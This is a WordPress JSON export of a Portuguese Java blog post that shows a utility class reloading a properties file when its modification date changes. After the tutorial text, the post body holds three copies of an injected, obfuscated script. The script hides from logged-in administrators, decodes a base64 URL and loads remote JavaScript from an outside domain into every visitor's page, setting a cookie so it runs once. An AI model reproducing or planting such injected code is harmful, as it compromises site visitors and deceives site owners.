{"id":2613,"date":"2012-09-27T18:43:43","date_gmt":"2012-09-27T21:43:43","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2613"},"modified":"2025-10-26T22:35:12","modified_gmt":"2025-10-27T01:35:12","slug":"lendo-um-properties-mais-recente-em-tempo-de-execucao","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/09\/27\/lendo-um-properties-mais-recente-em-tempo-de-execucao\/","title":{"rendered":"Lendo um properties mais recente em tempo de execu\u00e7\u00e3o"},"content":{"rendered":"<p style=\"text-align: justify;\">Uma tarefa comum no desenvolvimento \u00e9 a leitura de arquivos de configura\u00e7\u00e3o pela aplica\u00e7\u00e3o. A maioria das solu\u00e7\u00f5es l\u00ea o arquivo somente uma vez e carrega em mem\u00f3ria, ou toda a vez que \u00e9 chamado, ele carrega a leitura. Uma boa pr\u00e1tica \u00e9 ler somente o arquivo quando ele foi alterado. Dessa forma, quando houver uma altera\u00e7\u00e3o nesse arquivo conseguimos carregar os dados novos e quando n\u00e3o h\u00e1 altera\u00e7\u00f5es, n\u00e3o consumimos recursos.<\/p>\n<p style=\"text-align: justify;\">Para fazer isso \u00e9 s\u00f3 usar o m\u00e9todo lastModified() da classe File, verificar se ele \u00e9 o mais recente, se for, carregar o arquivo de properties. Segue o exemplo;<\/p>\n<pre class=\"brush: java; highlight: [9]; title: ; notranslate\" title=\"\">\npublic class ConfigPropertiesUtil {\n\n\tprivate static long lastModifiedDate = -1;\n\tprivate static Properties properties = new Properties();\n\n\tpublic static Properties getProperties() throws IOException,\n\t\t\tFileNotFoundException {\n\t\tFile configFile = new File(&quot;\/diretorio\/config.properties&quot;);\n\t\tif (configFile.lastModified() &gt; lastModifiedDate) {\n\t\t\tproperties.clear();\n\t\t\tproperties.load(new FileInputStream(configFile));\n\t\t\tlastModifiedDate = configFile.lastModified();\n\t\t}\n\t\treturn properties;\n\t}\n\n}\n<\/pre>\n<p style=\"text-align: justify;\">Agora \u00e9 s\u00f3 criar o arquivo de configura\u00e7\u00e3o e toda a vez que ele for atualizado e voc\u00ea chamar o m\u00e9todo getProperties() ele ir\u00e1 recarregar o arquivo, caso contr\u00e1rio, ele utilizar\u00e1 a vers\u00e3o j\u00e1 em mem\u00f3ria.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Uma tarefa comum no desenvolvimento \u00e9 a leitura de arquivos de configura\u00e7\u00e3o pela aplica\u00e7\u00e3o. A maioria das solu\u00e7\u00f5es l\u00ea o arquivo somente uma vez e carrega em mem\u00f3ria, ou toda a vez que \u00e9 chamado, ele carrega a leitura. Uma <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/09\/27\/lendo-um-properties-mais-recente-em-tempo-de-execucao\/\">Continue lendo  <span class=\"screen-reader-text\">  Lendo um properties mais recente em tempo de execu\u00e7\u00e3o<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-2613","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2613","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2613"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2613\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2613"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2613"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2613"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}